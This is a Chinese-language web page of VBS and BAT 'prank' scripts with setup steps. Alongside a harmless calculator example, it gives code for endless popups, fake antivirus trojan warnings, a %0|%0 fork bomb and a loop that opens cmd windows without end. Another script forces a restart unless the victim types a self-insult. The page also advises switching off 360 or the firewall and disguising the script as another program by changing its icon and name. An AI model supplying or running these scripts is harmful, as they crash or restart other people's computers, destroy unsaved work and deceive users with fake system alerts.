VBS/BAT使用/恶搞（操作+图示）

您所在的位置：网站首页 › 电脑无限弹窗代码vbs › VBS/BAT使用/恶搞（操作+图示）

VBS/BAT使用/恶搞（操作+图示）

2023-06-26 12:06| 来源: 网络整理| 查看: 265

新建文本文件(xxx.txt)，复制以下代码到文本文件，保存后将’.txt’后缀改成’.vbs’或者‘.bat’，以下代码若标注为.bat，那么将后缀改成.bat，否则默认改成.vbs。然后点击修改后的文件，就能出现弹窗的效果。那么如何关闭这些弹窗呢？一般可通过任务管理器结束wscript/cscript或者找到以下红绿蓝图标，结束任务即可。在这里插入图片描述

准备1：因为涉及到修改后缀名，有些小伙伴的文件没有后缀名，如何修改让文件显示后缀名呢？

打开我的电脑–>查看–>勾选“文件扩展名”，贴图如下：在这里插入图片描述

准备2：如果出现360或者防火墙拦截，先关闭，以下的这些代码对电脑没有实质性损害。

在这里插入图片描述

可能出现的情况：

如果复制我的代码运行后报错"无效字符"，或者中文会变成乱码，代码是没有问题的，都是亲测后截图。那么如何解决呢？步骤如下

在这里插入图片描述步骤一：步骤二：步骤三：

1. 返回出现一个弹窗 do msgbox "hello world" loop

在这里插入图片描述

2. 无限报数

从0开始报数，无限循环…，这个若要用任务管理器结束进程的话，需要在“后台进程”中查找到对应图标并结束。

Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 3. 多个错误信息的弹窗

解释说明：指令中的数字代表的含义如下：

数字按钮样式0确定1确定取消2终止重试忽略3是否取消4是否5重试取消数字图标样式0没有图标16错误图标32问号图标48感叹号图标64信息图标 r=msgbox("由于另一个程序正在运行中，此操作无法完成",5+48,"系统错误") r=msgbox("发现木马，建议立即清除",0+16,"360杀毒，威胁警告") do r=msgbox("系统即将关闭。请关闭所有正在运行的文件，然后注销。",0+64,"关闭系统") loop

在这里插入图片描述

4. 无限弹窗（.bat）

后缀改成.bat，此条慎用，无限弹窗，且速度极快，容易死机，满屏黑色命令提示符窗口，强制关机有效。在这里插入图片描述

:start start cmd goto start 5. 电脑死机（.bat）

代码非常简短，但杀伤力不小。%0就是那个bat文件本身，整句话的意思就是bai启动批处理自身，并且参数是自身，这样批处理就从新窗口启动了这个批处理，造成循环。最后效果就是cpu很快飙升到99%，卡住…只能重启

%0|%0 6. 问答型弹窗+定时关机重启

恶搞时确保电脑上的东西已保存，不然重启后有些东西没了别来找我（手动微笑），经验之谈。

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是傻子，不说的话就一分钟关你机，不信的可以试试···"" ",0 ,true dim a do while(a "我是傻子") a = inputbox ("说我是傻子,就不会关机，赶紧的，说 ""我是傻子"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "乖，听话，叫声大哥，哥以后罩着你" 7. 使用vbs制作一个简易计算器 msgbox "欢迎使用VBS计算器",,"计算器" dim a,b,c,m a = inputbox("请输入第一个数字") c = inputbox("请输入计算符号") b = inputbox("请输入第二个数字") if c = "+" then m = a + b if c = "-" then m = a - b if c = "*" then m = a * b if c = "/" then m = a / b msgbox a&c&b&"="&m,,"计算完毕"

使用elseif完善计算器

msgbox "欢迎使用VBS计算器",,"计算器" dim a,b,c,m a = inputbox("请输入第一个数字") c = inputbox("请输入计算符号") b = inputbox("请输入第二个数字") if c = "+" then m = a + b if c = "-" then m = a - b if c = "*" then m = a * b if c = "/" then m = a / b if a = "" then msgbox "缺少参数1",,"Error" elseif b = "" then msgbox "缺少参数2",,"Error" elseif c = "" then msgbox "缺少运算符号",,"Error" else msgbox a&c&b&"="&m,,"计算完毕" end if 8. 如何伪装成其他程序

右键创建好的xxx.vbs文件–>创建快捷方式，对新生成的文件右键“属性”，更改图标在这里插入图片描述修改图标后再修改文件名，就可以做到以假乱真的效果啦~

【本文地址】

VBS/BAT使用/恶搞（操作+图示）

VBS/BAT使用/恶搞（操作+图示）

今日新闻

推荐新闻